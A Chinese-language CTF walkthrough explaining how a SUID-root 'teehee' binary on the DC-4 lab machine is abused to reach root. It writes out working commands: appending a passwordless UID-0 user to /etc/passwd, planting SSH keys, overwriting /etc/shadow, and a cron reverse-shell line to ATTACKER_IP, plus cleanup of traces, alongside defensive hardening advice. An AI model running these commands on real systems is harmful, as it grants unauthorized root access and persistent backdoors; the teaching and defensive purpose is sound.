Linux提权实战:利用SUID teehee命令从DC-4靶场突破到root权限

发布时间:2026/7/21 23:08:50

Linux提权实战:利用SUID teehee命令从DC-4靶场突破到root权限 1. 项目概述从靶场实战到权限突破的本质在渗透测试和红队评估的日常工作中Linux系统的权限提升提权始终是核心挑战之一。常规的SUID、内核漏洞、服务配置错误等手法随着系统加固和安全意识的提升被发现的难度和利用的门槛都在增加。因此挖掘那些看似不起眼、甚至被遗忘的“边角料”功能往往能成为突破防线的关键。这次要聊的就是一个非常经典的案例利用teehee编辑器实际上是tee命令的一个别名或变体在特定配置下实现权限绕过最终在DC-4这个经典的CTF靶场中完成从普通用户到root的跨越。DC-4靶场模拟了一个存在多处漏洞的Web应用环境攻击者通常从Web渗透入手获取一个低权限的Shell。但故事的高潮往往始于拿到Shell之后——你面前是一个受限制的Linux环境如何从www-data或一个普通用户蜕变为拥有至高无上权限的root这就是“提权”的艺术。teehee这个案例的精妙之处在于它并非一个专门的漏洞CVE而是系统配置、命令特性与攻击者思维结合的产物。它考验的不是你对最新0day的掌握而是对系统本身、对命令行为的深度理解以及将多个知识点串联起来的“拼图”能力。对于安全从业者、CTF爱好者乃至系统管理员来说理解这类提权思路的价值远大于记住一个具体的exp。它能帮你建立一种“攻击者视角”的排查习惯当看到一个命令时你不仅会想“它能用来做什么”更会思考“在什么条件下它能被滥用来做不该做的事”。接下来我们就以DC-4靶场为蓝本彻底拆解这条利用链从环境侦察、漏洞发现、原理剖析到最终利用还原一次完整的权限提升实战。无论你是正在入门渗透测试的新手还是想拓宽思路的老兵相信这个案例都能给你带来启发。2. 环境侦察与突破口定位当你通过Web漏洞比如DC-4中常见的命令注入或爆破弱口令获得一个初始立足点第一个Shell通常权限很低。在DC-4中我们假设已经通过某种方式例如利用contact.php的命令注入获得了www-data用户的Shell。此时盲目地运行各种自动化提权脚本如LinEnum、linpeas虽然高效但理解手动的侦察过程至关重要它能帮你培养敏锐的直觉。2.1 基础信息收集首先我们需要像侦探一样收集关于这个“犯罪现场”目标系统的一切信息。以下命令构成了初步侦察的核心# 1. 当前用户和权限 id whoami # 2. 系统基本信息 uname -a # 内核版本用于匹配已知漏洞 cat /etc/issue 或 cat /etc/os-release # 发行版信息 hostname # 3. 网络和进程信息 netstat -tulnp 或 ss -tulnp # 查看监听端口寻找内部服务 ps aux # 查看所有进程寻找以root运行的服务或可疑进程 # 4. 用户和计划任务 cat /etc/passwd # 查看所有用户 cat /etc/shadow 2/dev/null # 尝试读取shadow文件通常需要root ls -la /home/ # 查看家目录寻找其他用户的可读文件 crontab -l # 查看当前用户的计划任务 ls -la /etc/cron* # 查看系统级计划任务脚本 # 5. 文件权限与SUID/SGID检查 find / -type f -perm -4000 -ls 2/dev/null # 查找SUID文件 find / -type f -perm -2000 -ls 2/dev/null # 查找SGID文件 find / -type f -writable 2/dev/null # 查找全局可写文件 find / -type d -writable 2/dev/null # 查找全局可写目录在DC-4靶场中运行find / -type f -perm -4000 2/dev/null可能会返回一个较长的列表。经验丰富的测试者会快速扫描其中不常见的二进制文件。一个名为teehee的命令很可能就在其中。它看起来人畜无害像是tee命令的某个可爱变体但SUID位-rwsr-xr-x中的s为它赋予了危险的潜力当任何用户执行它时它将以文件所有者通常是root的权限运行。2.2 深入分析可疑目标Teehee发现teehee具有SUID权限后我们不能急于直接利用。首先需要彻底了解它。# 1. 定位并查看文件属性 which teehee 或 whereis teehee # 通常可能在 /usr/bin/ 或 /usr/local/bin/ ls -la /usr/bin/teehee # 2. 查看文件类型和链接 file /usr/bin/teehee # 3. 尝试获取帮助信息 /usr/bin/teehee --help 或 man teehee # 4. 分析其行为在安全环境或靶机中 echo test | /usr/bin/teehee test.txt cat test.txt # 观察它是否像tee命令一样既输出到屏幕又写入文件通过以上步骤我们很可能发现teehee就是一个具有SUID权限的、功能类似于tee的命令。tee命令的标准功能是“分流”从标准输入读取数据同时写入标准输出和一个或多个文件。关键问题来了当一个具有SUID-root权限的命令可以任意写入文件时我们能做什么注意在真实环境中管理员几乎不会给tee或类似命令设置SUID位。DC-4靶场故意设置此场景用于教学。但在一些老旧、配置不当或特定用途如某些嵌入式设备、自定义脚本的系统上你仍可能遇到类似情况。侦察的核心思想是普适的。3. 提权原理深度剖析从文件写入到权限获取理解了teehee是什么接下来要解决“为什么”它能提权以及“如何”利用。这需要串联起Linux权限管理的几个核心概念。3.1 SUID权限的本质与风险SUIDSet User ID是一种特殊的文件权限。当一个可执行文件被设置了SUID位无论哪个用户执行它该进程都会以文件所有者的用户IDUID运行。例如/usr/bin/passwd通常具有SUID-root权限这样普通用户才能修改自己的密码写入/etc/shadow。风险在于如果这个SUID程序本身存在逻辑缺陷、或者其功能可以被滥用攻击者就能以root身份执行本不该执行的操作。teehee的风险不在于漏洞而在于其被赋予的过高权限root与其强大的功能任意文件写入的结合。3.2 Teehee命令的滥用途径分析标准的tee命令语法是command | tee [选项] 文件...。它通常用于在管道中保存中间结果。teehee如果功能一致那么它至少能创建新文件。覆盖或追加内容到已存在文件。以root身份做上述一切。那么在Linux系统中有哪些文件被root修改后能直接导致权限提升呢这是一个“攻击面枚举”的过程。主要思路有以下几个方向思路一修改特权用户文件/etc/passwd 最经典的靶子。在旧系统中密码哈希可以直接存放在此文件第二栏。如果能直接写入可以添加一个UID为0root的用户。但在现代系统中密码哈希已移至/etc/shadow此方法通常失效除非系统配置极其古老。/etc/shadow 存放用户密码哈希的文件。如果我们能用teehee覆盖它就可以将root用户的密码哈希替换为我们已知的例如用openssl或mkpasswd生成的哈希。这是最直接有效的方法之一。/etc/sudoers 控制sudo权限的文件。添加一行www-data ALL(ALL:ALL) NOPASSWD:ALL即可让当前用户无需密码使用sudo获得root shell。思路二写入cron任务或系统服务/etc/cron.d/、/var/spool/cron/crontabs/root 如果能在这些位置写入一个cron文件让root定期执行我们的反向Shell或添加SUID shell的命令就能获得权限。例如写入一个每分钟以root身份连接我们监听器的脚本。/etc/systemd/system/ 现代Linux发行版广泛使用systemd。如果可以在此目录下创建一个恶意服务单元.service文件并启用它就能以root权限执行任意命令。思路三修改Shell配置文件~/.bashrc、/etc/bash.bashrc、/etc/profile、/etc/profile.d/下的脚本 如果当前用户有登录Shell在DC-4中我们可能通过Web漏洞获得的不是登录Shell修改这些文件在其中添加类似bash -p或chmod us /bin/bash的命令当用户包括root下次登录时就会触发。但这种方法依赖特定条件不如前两种直接。思路四替换已有的SUID二进制文件如果系统中有其他SUID-root的二进制文件如/bin/cp、/bin/mv等我们可以尝试用teehee覆盖它们吗通常不行因为正在运行的可执行文件通常被内核锁定无法被覆盖。但我们可以瞄准那些不常运行的程序或者写入到$PATH路径中更靠前的位置进行“劫持”。在DC-4的上下文中经过尝试最稳定、最直接的路径往往是修改/etc/passwd或写入cron任务。因为/etc/shadow默认对root可写但teehee需要正确的参数才能追加-a而非截断默认行为而/etc/passwd在某些简化靶场环境中可能仍被用作目标。3.3 关键挑战绕过内容安全与语法校验直接向/etc/passwd写入一行内容并非毫无阻碍。/etc/passwd文件有严格的格式要求每一行必须是username:password:UID:GID:GECOS:homedir:shell。如果我们写入的内容格式错误可能导致系统管理工具如useradd出错甚至影响现有用户登录。更常见的挑战是teehee可能像tee一样默认行为是覆盖目标文件而非追加。如果我们执行echo myroot::0:0::/root:/bin/bash | teehee /etc/passwd将会清空整个/etc/passwd文件只留下我们这一行。这会导致所有用户包括系统服务依赖的用户无法被识别系统很可能立即崩溃或无法登录这不是我们想要的。因此我们需要使用追加模式。tee命令的-a参数就是用于追加。所以正确的利用命令雏形应该是echo myroot::0:0::/root:/bin/bash | teehee -a /etc/passwd这行命令会在/etc/passwd文件末尾追加一个新用户myroot其UID和GID都为0即root并且密码字段为空::意味着该用户无需密码即可登录。实操心得在尝试修改关键系统文件前务必先备份。即使是在靶场这也是一种好习惯。你可以先用teehee在一个临时文件上测试命令是否按预期工作例如echo test | teehee -a /tmp/test.txt cat /tmp/test.txt。确认追加模式有效后再对系统文件“动刀”。4. DC-4靶场实战步步为营获取Root Shell理论清晰后我们进入实战环节。假设在DC-4中我们已经通过netcat或反向Shell获得了www-data用户的非交互式Shell。4.1 步骤一确认Teehee的存在与权限www-datadc-4:~$ find / -name teehee -type f -perm -4000 2/dev/null /usr/bin/teehee www-datadc-4:~$ ls -l /usr/bin/teehee -rwsr-xr-x 1 root root 14444 Jun 12 2019 /usr/bin/teehee www-datadc-4:~$ /usr/bin/teehee --help Usage: teehee [OPTION]... [FILE]... Copy standard input to each FILE, and also to standard output. -a, --append append to the given FILEs, do not overwrite -i, --ignore-interrupts ignore interrupt signals --help display this help and exit --version output version information and exit完美我们确认了teehee存在且具有SUID-root权限-rwsr-xr-x。它的帮助信息显示它支持-a参数进行追加操作。这正是我们需要的。4.2 步骤二规划利用路径并测试修改/etc/passwd是最直观的方法。我们先检查一下当前/etc/passwd的格式和内容。www-datadc-4:~$ tail -5 /etc/passwd ... sshd:x:109:65534::/run/sshd:/usr/sbin/nologin charles:x:1000:1000:Charles,,,:/home/charles:/bin/bash www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin可以看到系统用户使用的是影子密码x表示密码在/etc/shadow。我们将添加一个无密码的root等价用户。首先进行安全测试www-datadc-4:~$ cp /etc/passwd /tmp/passwd.bak # 备份如果cp可用 www-datadc-4:~$ echo testuser::1001:1001::/home/testuser:/bin/bash | teehee -a /tmp/test_passwd www-datadc-4:~$ tail -1 /tmp/test_passwd testuser::1001:1001::/home/testuser:/bin/bash测试成功teehee -a可以正确追加内容。4.3 步骤三实施提权操作现在执行真正的提权命令www-datadc-4:~$ echo hacker::0:0::/root:/bin/bash | /usr/bin/teehee -a /etc/passwd这条命令以root权限向/etc/passwd文件末尾追加了一行。新用户名为hackerUID和GID为0家目录为/root登录Shell为/bin/bash且密码字段为空。4.4 步骤四验证与权限获取添加用户后我们需要切换到该用户。由于我们可能在一个非登录的Shell中直接su hacker可能会失败因为su需要终端交互。更可靠的方式是使用sudo如果可用或者直接使用su配合-参数和密码为空的特点。# 方法1直接su到hacker密码为空直接回车 www-datadc-4:~$ su hacker Password: 直接按回车 hackerdc-4:/var/www/html# id uid0(hacker) gid0(root) groups0(root) hackerdc-4:/var/www/html# whoami root成功我们获得了root权限的Shell。id命令显示UID和GID都是0whoami显示为root因为UID0的用户名在系统中被识别为root。另一种更隐蔽的方法写入SSH密钥如果系统运行着SSH服务且允许root登录PermitRootLogin配置为yes或without-password我们可以通过写入root的authorized_keys文件来获得持久化访问。# 1. 在本机生成SSH密钥对如果还没有 # 本地攻击机执行 ssh-keygen -t rsa -f id_rsa_hacker # 2. 将公钥内容写入靶机root的authorized_keys www-datadc-4:~$ echo ssh-rsa AAAAB3NzaC1yc2E...你的公钥内容 | teehee -a /root/.ssh/authorized_keys # 3. 确保权限正确虽然teehee以root运行但创建的目录和文件权限可能不对 www-datadc-4:~$ echo mkdir -p /root/.ssh chmod 700 /root/.ssh chmod 600 /root/.ssh/authorized_keys | teehee -a /tmp/fix.sh www-datadc-4:~$ chmod x /tmp/fix.sh www-datadc-4:~$ /tmp/fix.sh # 这步可能需要其他提权方法因为sh不是SUID。但我们可以用python/perl等解释器执行。 # 更直接的方式利用teehee的SUID通过管道和子shell执行命令这涉及到更复杂的技巧。通常修改passwd是更通用的方法。4.5 步骤五清理痕迹可选在渗透测试中清理痕迹是重要一环。但在CTF靶场中通常不需要。如果要做可以删除添加的用户行hackerdc-4:~# cp /etc/passwd /etc/passwd.bak2 # 备份 hackerdc-4:~# sed -i /^hacker:/d /etc/passwd # 删除包含hacker的行 hackerdc-4:~# rm /tmp/passwd.bak /tmp/test_passwd 2/dev/null # 清理测试文件注意这需要root权限我们已经具备了。5. 拓展与防御思路延伸与加固建议DC-4的teehee案例虽然特定但其背后是“不当的SUID配置”这一大类问题。掌握这种思路后可以举一反三。5.1 其他类似的SUID滥用场景具有写入功能的SUID命令cp、mv、install 如果能以root身份运行可以覆盖关键文件。但通常它们不是SUID。dddd if恶意数据 of/etc/shadow可以破坏或替换文件。ed、ex、vim如果配置了sudoedit或奇怪的SUID 任何能以root身份编辑文件的编辑器都是危险的。findfind的-exec参数非常强大。如果find是SUID-root你可以执行find / -type f -exec whoami \;来验证权限进而执行任意命令。更经典的利用是find / -exec /bin/sh -p \;。nmap旧版本 交互模式nmap --interactive曾允许执行Shell命令。awk、perl、python、ruby等解释器 如果它们被设置了SUID位你可以直接在参数中执行系统命令例如python -c import os; os.system(/bin/bash)。环境变量滥用PATH, LD_PRELOAD如果一个SUID程序内部调用了另一个命令如system(ls)但没有使用绝对路径我们可以通过修改PATH环境变量让它执行我们自定义的恶意ls脚本。类似地通过LD_PRELOAD环境变量可以注入恶意共享库劫持函数调用。5.2 系统管理员视角如何发现并防御此类风险定期审计SUID/SGID文件# 定期运行并与基线对比 find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -l {} \; /var/log/suid_sgid_audit_$(date %Y%m%d).log对于发现的每一个SUID/SGID文件问自己这个程序真的需要这些特权吗例如teehee或tee绝对不需要。遵循最小权限原则永远不要给文本编辑器、文件操作命令cp,mv,cat,tee等、解释器python,perl,bash等设置SUID位。如果某个自定义脚本需要特权考虑使用sudo进行精细化的权限控制而不是简单的SUID。使用文件系统扩展属性或安全模块对于关键目录如/usr/bin,/bin设置不可修改属性chattr i防止被添加SUID位但要注意这会影响系统更新。利用SELinux或AppArmor对进程进行强制访问控制即使SUID程序被滥用其能访问的资源也受到限制。加强日志监控配置auditd规则监控对/etc/passwd、/etc/shadow、/etc/sudoers等关键文件的写入尝试。监控cron目录/etc/cron.d/,/var/spool/cron/的文件创建行为。5.3 渗透测试中的思维进阶遇到SUID二进制文件时不要只依赖自动化脚本的输出。手动分析它是什么(file,strings,ltrace/strace)它能做什么(--help, 简单运行测试)它依赖什么(ldd, 查看是否调用外部命令)它的输入输出是什么(是否接受文件路径参数是否可以向文件写入)如何组合利用(结合环境变量、符号链接、参数注入等)例如对teehee我们通过--help知道了-a参数这是成功的关键。如果是一个没有文档的二进制文件你可能需要用strace来跟踪它的系统调用看它如何打开和处理文件。6. 常见问题与排查技巧实录在实际操作中尤其是在不同环境或稍加改动的靶场里你可能会遇到一些变数。以下是一些常见问题及应对思路。Q1执行teehee -a /etc/passwd时提示“Permission denied”A1这可能有几个原因最可能teehee的SUID位失效了用ls -l再次确认权限字符串中是否有s例如-rwsr-xr-x。目标文件/etc/passwd被设置了不可修改属性用lsattr /etc/passwd检查是否有i不可变或a只追加属性。如果是需要root权限才能用chattr -i移除这通常意味着此路不通。文件系统以只读方式挂载运行mount | grep on / 查看根目录挂载选项。Q2成功添加了用户但su切换时失败提示“Authentication failure”A2确认密码字段是否真的为空。在/etc/passwd中两个冒号::之间是密码字段为空则表示无密码。确保你写入的格式完全正确没有多余空格。确认Shell路径是否正确。/bin/bash必须存在。可以用which bash或ls -l /bin/bash检查。在某些系统尤其是使用了pam_unix.so等严格PAM模块中即使/etc/passwd密码为空su也可能失败。这时可以尝试使用sudo如果当前用户在sudoers里或者改用写入/etc/shadow的方法。Q3如何利用teehee写入/etc/shadowA3原理相同但需要生成一个合法的密码哈希。# 在攻击机上生成一个密码为hacked的哈希使用目标系统可能的加密方式如sha-512 mkpasswd -m sha-512 hacked # 输出类似$6$rounds656000$salt$hashed_password # 在靶机上替换root的密码哈希危险会覆盖root原密码 echo root:\$6\$rounds656000\$salt\$hashed_password:18880:0:99999:7::: | teehee /etc/shadow # 注意这里用了覆盖模式无-a会清空shadow文件必须先备份或确保只替换一行。更安全的做法是 # 1. 先复制shadow文件到临时位置。 # 2. 用sed等工具在临时文件中替换root的哈希。 # 3. 用teehee覆盖回/etc/shadow。 # 这需要更复杂的命令拼接或借助其他工具难度较大。因此修改passwd通常是更简单的选择。Q4除了/etc/passwd还有哪些有趣的利用点A4Cron提权echo * * * * * root /bin/bash -c bash -i /dev/tcp/ATTACKER_IP/4444 01 | teehee -a /etc/cron.d/exploit。这需要你对cron语法非常熟悉并且确保文件后缀正确不能有.。SUID Shell备份cp /bin/bash /tmp/rootbash; chmod s /tmp/rootbash这个chmod命令需要root权限。但我们可以先写入一个脚本然后尝试让root执行它比如通过cron。或者如果teehee能覆盖一个已有的、不常用的SUID二进制文件比如/usr/bin/xxd我们可以用恶意的二进制内容替换它。这需要事先准备好一个后门二进制文件并通过管道用teehee写入操作比较复杂。Q5在真实的渗透测试中这种利用方式常见吗A5给tee这类命令设置SUID的情况在真实生产环境中极其罕见因为这是明显的配置错误。自动化安全扫描工具很容易发现并告警。因此你不能指望在真实网络中轻易找到这样的“肥肉”。然而这个案例的训练价值在于理解提权的本质即寻找权限边界上的“缝隙”。锻炼手动侦察和逻辑推理能力。学习Linux权限系统的细节SUID, 文件所有权进程权限。为应对更复杂、更隐蔽的提权场景打基础。例如你可能遇到的是一个具有SUID权限的、自定义的、功能复杂的二进制程序其漏洞可能隐藏在某个参数解析或文件操作逻辑中。分析teehee的思路功能、参数、文件操作同样适用于分析它们。最后记住渗透测试的第一原则授权。所有技术都应在合法、合规的环境下学习和使用。在自家实验室或像DC-4这样的专用靶场中尽情探索将这份对系统深层的理解转化为防御者加固系统的力量才是安全技术的真正价值所在。

相关新闻